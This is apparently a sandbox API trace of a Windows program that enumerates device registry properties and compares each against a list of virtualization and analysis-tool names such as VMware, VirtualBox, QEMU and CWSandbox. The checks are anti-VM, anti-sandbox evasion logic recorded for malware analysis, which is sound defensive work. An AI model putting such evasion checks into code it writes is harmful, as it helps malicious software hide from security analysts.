10 [0241.161] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fac8 | out: hHeap=0x25a0000) returned 1 [0241.161] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x5) returned 0x261f7c8 [0241.162] StrStrIA (lpFirst="?? SATA AHCI ???????", lpSrch="QEMU") returned 0x0 [0241.162] lstrlenA (lpString="QEMU") returned 4 [0241.162] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f7c8 | out: hHeap=0x25a0000) returned 1 [0241.162] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x261fba0 [0241.162] StrStrIA (lpFirst="?? SATA AHCI ???????", lpSrch="Red Hat VirtIO") returned 0x0 [0241.162] lstrlenA (lpString="Red Hat VirtIO") returned 14 [0241.162] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fba0 | out: hHeap=0x25a0000) returned 1 [0241.162] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x9) returned 0x261fb28 [0241.162] StrStrIA (lpFirst="?? SATA AHCI ???????", lpSrch="srootkit") returned 0x0 [0241.162] lstrlenA (lpString="srootkit") returned 8 [0241.162] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb28 | out: hHeap=0x25a0000) returned 1 [0241.162] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x261fab0 [0241.162] StrStrIA (lpFirst="?? SATA AHCI ???????", lpSrch="VMware VMaudio") returned 0x0 [0241.162] lstrlenA (lpString="VMware VMaudio") returned 14 [0241.162] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fab0 | out: hHeap=0x25a0000) returned 1 [0241.162] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xd) returned 0x261fac8 [0241.162] StrStrIA (lpFirst="?? SATA AHCI ???????", lpSrch="VMware Vista") returned 0x0 [0241.163] lstrlenA (lpString="VMware Vista") returned 12 [0241.163] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fac8 | out: hHeap=0x25a0000) returned 1 [0241.163] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xa) returned 0x261fa20 [0241.163] StrStrIA (lpFirst="?? SATA AHCI ???????", lpSrch="VBoxVideo") returned 0x0 [0241.163] lstrlenA (lpString="VBoxVideo") returned 9 [0241.163] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa20 | out: hHeap=0x25a0000) returned 1 [0241.163] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xa) returned 0x261fa20 [0241.163] StrStrIA (lpFirst="?? SATA AHCI ???????", lpSrch="VBoxGuest") returned 0x0 [0241.163] lstrlenA (lpString="VBoxGuest") returned 9 [0241.163] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa20 | out: hHeap=0x25a0000) returned 1 [0241.163] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f908 | out: hHeap=0x25a0000) returned 1 [0241.163] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0241.164] GetLastError () returned 0x7a [0241.164] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x12) returned 0x261f908 [0241.164] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, PropertyBufferSize=0x9, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, RequiredSize=0x19fe7c) returned 1 [0241.171] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x7) returned 0x261f8c8 [0241.171] StrStrIA (lpFirst="storahci", lpSrch="vmxnet") returned 0x0 [0241.171] lstrlenA (lpString="vmxnet") returned 6 [0241.171] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f8c8 | out: hHeap=0x25a0000) returned 1 [0241.171] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x7) returned 0x261f748 [0241.171] StrStrIA (lpFirst="storahci", lpSrch="vmscsi") returned 0x0 [0241.171] lstrlenA (lpString="vmscsi") returned 6 [0241.171] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f748 | out: hHeap=0x25a0000) returned 1 [0241.171] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x8) returned 0x261f888 [0241.172] StrStrIA (lpFirst="storahci", lpSrch="VMAUDIO") returned 0x0 [0241.172] lstrlenA (lpString="VMAUDIO") returned 7 [0241.172] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f888 | out: hHeap=0x25a0000) returned 1 [0241.172] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x8) returned 0x261f8d8 [0241.172] StrStrIA (lpFirst="storahci", lpSrch="vmdebug") returned 0x0 [0241.172] lstrlenA (lpString="vmdebug") returned 7 [0241.172] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f8d8 | out: hHeap=0x25a0000) returned 1 [0241.172] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x7) returned 0x261f8f8 [0241.172] StrStrIA (lpFirst="storahci", lpSrch="vm3dmp") returned 0x0 [0241.172] lstrlenA (lpString="vm3dmp") returned 6 [0241.172] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f8f8 | out: hHeap=0x25a0000) returned 1 [0241.172] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x9) returned 0x261fb10 [0241.172] StrStrIA (lpFirst="storahci", lpSrch="vmrawdsk") returned 0x0 [0241.172] lstrlenA (lpString="vmrawdsk") returned 8 [0241.172] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb10 | out: hHeap=0x25a0000) returned 1 [0241.172] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x9) returned 0x261fab0 [0241.173] StrStrIA (lpFirst="storahci", lpSrch="vmx_svga") returned 0x0 [0241.173] lstrlenA (lpString="vmx_svga") returned 8 [0241.173] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fab0 | out: hHeap=0x25a0000) returned 1 [0241.173] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x8) returned 0x261f828 [0241.173] StrStrIA (lpFirst="storahci", lpSrch="ansfltr") returned 0x0 [0241.173] lstrlenA (lpString="ansfltr") returned 7 [0241.173] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f828 | out: hHeap=0x25a0000) returned 1 [0241.173] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x8) returned 0x261f8b8 [0241.173] StrStrIA (lpFirst="storahci", lpSrch="sbtisht") returned 0x0 [0241.173] lstrlenA (lpString="sbtisht") returned 7 [0241.173] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f8b8 | out: hHeap=0x25a0000) returned 1 [0241.173] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f908 | out: hHeap=0x25a0000) returned 1 [0241.173] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x63da28, MemberIndex=0x8, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0241.174] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0241.192] GetLastError () returned 0x7a [0241.192] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x32) returned 0x261f908 [0241.192] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, PropertyBufferSize=0x19, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, RequiredSize=0x19fe7c) returned 1 [0241.215] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x10) returned 0x261fa08 [0241.215] StrStrIA (lpFirst="Microsoft ???????? ?????", lpSrch="VMware Pointing") returned 0x0 [0241.215] lstrlenA (lpString="VMware Pointing") returned 15 [0241.215] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa08 | out: hHeap=0x25a0000) returned 1 [0241.215] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x13) returned 0x261f948 [0241.215] StrStrIA (lpFirst="Microsoft ???????? ?????", lpSrch="VMware Accelerated") returned 0x0 [0241.215] lstrlenA (lpString="VMware Accelerated") returned 18 [0241.215] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f948 | out: hHeap=0x25a0000) returned 1 [0241.215] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x261f9f0 [0241.215] StrStrIA (lpFirst="Microsoft ???????? ?????", lpSrch="VMware SCSI") returned 0x0 [0241.215] lstrlenA (lpString="VMware SCSI") returned 11 [0241.215] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f9f0 | out: hHeap=0x25a0000) returned 1 [0241.215] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x261fb10 [0241.215] StrStrIA (lpFirst="Microsoft ???????? ?????", lpSrch="VMware SVGA") returned 0x0 [0241.215] lstrlenA (lpString="VMware SVGA") returned 11 [0241.215] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb10 | out: hHeap=0x25a0000) returned 1 [0241.215] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xe) returned 0x261fac8 [0241.215] StrStrIA (lpFirst="Microsoft ???????? ?????", lpSrch="VMware Replay") returned 0x0 [0241.215] lstrlenA (lpString="VMware Replay") returned 13 [0241.215] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fac8 | out: hHeap=0x25a0000) returned 1 [0241.215] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x15) returned 0x261f948 [0241.216] StrStrIA (lpFirst="Microsoft ???????? ?????", lpSrch="VMware server memory") returned 0x0 [0241.216] lstrlenA (lpString="VMware server memory") returned 20 [0241.216] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f948 | out: hHeap=0x25a0000) returned 1 [0241.216] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xa) returned 0x261fba0 [0241.216] StrStrIA (lpFirst="Microsoft ???????? ?????", lpSrch="CWSandbox") returned 0x0 [0241.216] lstrlenA (lpString="CWSandbox") returned 9 [0241.216] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fba0 | out: hHeap=0x25a0000) returned 1 [0241.216] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xb) returned 0x261f9f0 [0241.216] StrStrIA (lpFirst="Microsoft ???????? ?????", lpSrch="Virtual HD") returned 0x0 [0241.216] lstrlenA (lpString="Virtual HD") returned 10 [0241.216] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f9f0 | out: hHeap=0x25a0000) returned 1 [0241.216] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x5) returned 0x261f758 [0241.216] StrStrIA (lpFirst="Microsoft ???????? ?????", lpSrch="QEMU") returned 0x0 [0241.216] lstrlenA (lpString="QEMU") returned 4 [0241.216] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f758 | out: hHeap=0x25a0000) returned 1 [0241.216] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x261fb10 [0241.216] StrStrIA (lpFirst="Microsoft ???????? ?????", lpSrch="Red Hat VirtIO") returned 0x0 [0241.216] lstrlenA (lpString="Red Hat VirtIO") returned 14 [0241.216] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb10 | out: hHeap=0x25a0000) returned 1 [0241.216] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x9) returned 0x261fb10 [0241.216] StrStrIA (lpFirst="Microsoft ???????? ?????", lpSrch="srootkit") returned 0x0 [0241.216] lstrlenA (lpString="srootkit") returned 8 [0241.216] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb10 | out: hHeap=0x25a0000) returned 1 [0241.216] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x261fbb8 [0241.216] StrStrIA (lpFirst="Microsoft ???????? ?????", lpSrch="VMware VMaudio") returned 0x0 [0241.216] lstrlenA (lpString="VMware VMaudio") returned 14 [0241.216] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fbb8 | out: hHeap=0x25a0000) returned 1 [0241.216] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xd) returned 0x261fb88 [0241.217] StrStrIA (lpFirst="Microsoft ???????? ?????", lpSrch="VMware Vista") returned 0x0 [0241.217] lstrlenA (lpString="VMware Vista") returned 12 [0241.217] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb88 | out: hHeap=0x25a0000) returned 1 [0241.217] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xa) returned 0x261fb28 [0241.217] StrStrIA (lpFirst="Microsoft ???????? ?????", lpSrch="VBoxVideo") returned 0x0 [0241.217] lstrlenA (lpString="VBoxVideo") returned 9 [0241.217] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb28 | out: hHeap=0x25a0000) returned 1 [0241.217] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xa) returned 0x261fae0 [0241.217] StrStrIA (lpFirst="Microsoft ???????? ?????", lpSrch="VBoxGuest") returned 0x0 [0241.217] lstrlenA (lpString="VBoxGuest") returned 9 [0241.217] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fae0 | out: hHeap=0x25a0000) returned 1 [0241.217] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f908 | out: hHeap=0x25a0000) returned 1 [0241.217] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0241.217] GetLastError () returned 0x7a [0241.217] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x1a) returned 0x261f908 [0241.217] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, PropertyBufferSize=0xd, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, RequiredSize=0x19fe7c) returned 1 [0241.218] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x7) returned 0x261f8e8 [0241.218] StrStrIA (lpFirst="BasicDisplay", lpSrch="vmxnet") returned 0x0 [0241.218] lstrlenA (lpString="vmxnet") returned 6 [0241.218] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f8e8 | out: hHeap=0x25a0000) returned 1 [0241.218] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x7) returned 0x261f858 [0241.218] StrStrIA (lpFirst="BasicDisplay", lpSrch="vmscsi") returned 0x0 [0241.218] lstrlenA (lpString="vmscsi") returned 6 [0241.218] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f858 | out: hHeap=0x25a0000) returned 1 [0241.218] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x8) returned 0x261f7e8 [0241.218] StrStrIA (lpFirst="BasicDisplay", lpSrch="VMAUDIO") returned 0x0 [0241.218] lstrlenA (lpString="VMAUDIO") returned 7 [0241.218] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f7e8 | out: hHeap=0x25a0000) returned 1 [0241.218] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x8) returned 0x261f808 [0241.218] StrStrIA (lpFirst="BasicDisplay", lpSrch="vmdebug") returned 0x0 [0241.218] lstrlenA (lpString="vmdebug") returned 7 [0241.218] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f808 | out: hHeap=0x25a0000) returned 1 [0241.218] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x7) returned 0x261f768 [0241.218] StrStrIA (lpFirst="BasicDisplay", lpSrch="vm3dmp") returned 0x0 [0241.218] lstrlenA (lpString="vm3dmp") returned 6 [0241.218] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f768 | out: hHeap=0x25a0000) returned 1 [0241.218] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x9) returned 0x261fa20 [0241.218] StrStrIA (lpFirst="BasicDisplay", lpSrch="vmrawdsk") returned 0x0 [0241.218] lstrlenA (lpString="vmrawdsk") returned 8 [0241.218] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa20 | out: hHeap=0x25a0000) returned 1 [0241.218] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x9) returned 0x261fab0 [0241.218] StrStrIA (lpFirst="BasicDisplay", lpSrch="vmx_svga") returned 0x0 [0241.218] lstrlenA (lpString="vmx_svga") returned 8 [0241.218] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fab0 | out: hHeap=0x25a0000) returned 1 [0241.218] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x8) returned 0x261f808 [0241.218] StrStrIA (lpFirst="BasicDisplay", lpSrch="ansfltr") returned 0x0 [0241.218] lstrlenA (lpString="ansfltr") returned 7 [0241.219] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f808 | out: hHeap=0x25a0000) returned 1 [0241.219] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x8) returned 0x261f818 [0241.219] StrStrIA (lpFirst="BasicDisplay", lpSrch="sbtisht") returned 0x0 [0241.219] lstrlenA (lpString="sbtisht") returned 7 [0241.219] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f818 | out: hHeap=0x25a0000) returned 1 [0241.219] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f908 | out: hHeap=0x25a0000) returned 1 [0241.219] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x63da28, MemberIndex=0x9, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0241.219] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0241.223] GetLastError () returned 0x7a [0241.223] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x14) returned 0x261f908 [0241.223] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, PropertyBufferSize=0xa, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, RequiredSize=0x19fe7c) returned 1 [0241.235] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x10) returned 0x261fa38 [0241.235] StrStrIA (lpFirst="?????????", lpSrch="VMware Pointing") returned 0x0 [0241.235] lstrlenA (lpString="VMware Pointing") returned 15 [0241.235] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa38 | out: hHeap=0x25a0000) returned 1 [0241.235] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x13) returned 0x261f928 [0241.235] StrStrIA (lpFirst="?????????", lpSrch="VMware Accelerated") returned 0x0 [0241.235] lstrlenA (lpString="VMware Accelerated") returned 18 [0241.235] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f928 | out: hHeap=0x25a0000) returned 1 [0241.235] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x261fa38 [0241.235] StrStrIA (lpFirst="?????????", lpSrch="VMware SCSI") returned 0x0 [0241.235] lstrlenA (lpString="VMware SCSI") returned 11 [0241.235] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa38 | out: hHeap=0x25a0000) returned 1 [0241.235] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x261fb28 [0241.235] StrStrIA (lpFirst="?????????", lpSrch="VMware SVGA") returned 0x0 [0241.235] lstrlenA (lpString="VMware SVGA") returned 11 [0241.235] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb28 | out: hHeap=0x25a0000) returned 1 [0241.235] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xe) returned 0x261fab0 [0241.236] StrStrIA (lpFirst="?????????", lpSrch="VMware Replay") returned 0x0 [0241.236] lstrlenA (lpString="VMware Replay") returned 13 [0241.236] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fab0 | out: hHeap=0x25a0000) returned 1 [0241.236] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x15) returned 0x261f928 [0241.236] StrStrIA (lpFirst="?????????", lpSrch="VMware server memory") returned 0x0 [0241.236] lstrlenA (lpString="VMware server memory") returned 20 [0241.236] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f928 | out: hHeap=0x25a0000) returned 1 [0241.236] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xa) returned 0x261fb28 [0241.236] StrStrIA (lpFirst="?????????", lpSrch="CWSandbox") returned 0x0 [0241.236] lstrlenA (lpString="CWSandbox") returned 9 [0241.236] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb28 | out: hHeap=0x25a0000) returned 1 [0241.236] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xb) returned 0x261fbb8 [0241.236] StrStrIA (lpFirst="?????????", lpSrch="Virtual HD") returned 0x0 [0241.236] lstrlenA (lpString="Virtual HD") returned 10 [0241.236] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fbb8 | out: hHeap=0x25a0000) returned 1 [0241.236] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x5) returned 0x261f7d8 [0241.236] StrStrIA (lpFirst="?????????", lpSrch="QEMU") returned 0x0 [0241.236] lstrlenA (lpString="QEMU") returned 4 [0241.236] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f7d8 | out: hHeap=0x25a0000) returned 1 [0241.236] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x261fa08 [0241.236] StrStrIA (lpFirst="?????????", lpSrch="Red Hat VirtIO") returned 0x0 [0241.236] lstrlenA (lpString="Red Hat VirtIO") returned 14 [0241.236] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa08 | out: hHeap=0x25a0000) returned 1 [0241.236] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x9) returned 0x261fb58 [0241.237] StrStrIA (lpFirst="?????????", lpSrch="srootkit") returned 0x0 [0241.237] lstrlenA (lpString="srootkit") returned 8 [0241.237] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb58 | out: hHeap=0x25a0000) returned 1 [0241.237] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x261fb28 [0241.237] StrStrIA (lpFirst="?????????", lpSrch="VMware VMaudio") returned 0x0 [0241.237] lstrlenA (lpString="VMware VMaudio") returned 14 [0241.237] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb28 | out: hHeap=0x25a0000) returned 1 [0241.237] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xd) returned 0x261fb70 [0241.237] StrStrIA (lpFirst="?????????", lpSrch="VMware Vista") returned 0x0 [0241.237] lstrlenA (lpString="VMware Vista") returned 12 [0241.237] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb70 | out: hHeap=0x25a0000) returned 1 [0241.237] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xa) returned 0x261fb28 [0241.237] StrStrIA (lpFirst="?????????", lpSrch="VBoxVideo") returned 0x0 [0241.237] lstrlenA (lpString="VBoxVideo") returned 9 [0241.237] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb28 | out: hHeap=0x25a0000) returned 1 [0241.237] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xa) returned 0x261fa20 [0241.237] StrStrIA (lpFirst="?????????", lpSrch="VBoxGuest") returned 0x0 [0241.237] lstrlenA (lpString="VBoxGuest") returned 9 [0241.237] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa20 | out: hHeap=0x25a0000) returned 1 [0241.237] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f908 | out: hHeap=0x25a0000) returned 1 [0241.237] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0241.237] GetLastError () returned 0xd [0241.237] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x63da28, MemberIndex=0xa, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0241.238] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0241.246] GetLastError () returned 0x7a [0241.246] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x261fa68 [0241.246] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261fa68, PropertyBufferSize=0x6, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261fa68, RequiredSize=0x19fe7c) returned 1 [0241.254] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x10) returned 0x261fa50 [0241.254] StrStrIA (lpFirst="?????", lpSrch="VMware Pointing") returned 0x0 [0241.254] lstrlenA (lpString="VMware Pointing") returned 15 [0241.255] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa50 | out: hHeap=0x25a0000) returned 1 [0241.255] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x13) returned 0x261f908 [0241.255] StrStrIA (lpFirst="?????", lpSrch="VMware Accelerated") returned 0x0 [0241.255] lstrlenA (lpString="VMware Accelerated") returned 18 [0241.255] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f908 | out: hHeap=0x25a0000) returned 1 [0241.255] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x261fa38 [0241.255] StrStrIA (lpFirst="?????", lpSrch="VMware SCSI") returned 0x0 [0241.255] lstrlenA (lpString="VMware SCSI") returned 11 [0241.255] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa38 | out: hHeap=0x25a0000) returned 1 [0241.255] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x261fb40 [0241.255] StrStrIA (lpFirst="?????", lpSrch="VMware SVGA") returned 0x0 [0241.255] lstrlenA (lpString="VMware SVGA") returned 11 [0241.255] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb40 | out: hHeap=0x25a0000) returned 1 [0241.255] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xe) returned 0x261fa20 [0241.255] StrStrIA (lpFirst="?????", lpSrch="VMware Replay") returned 0x0 [0241.255] 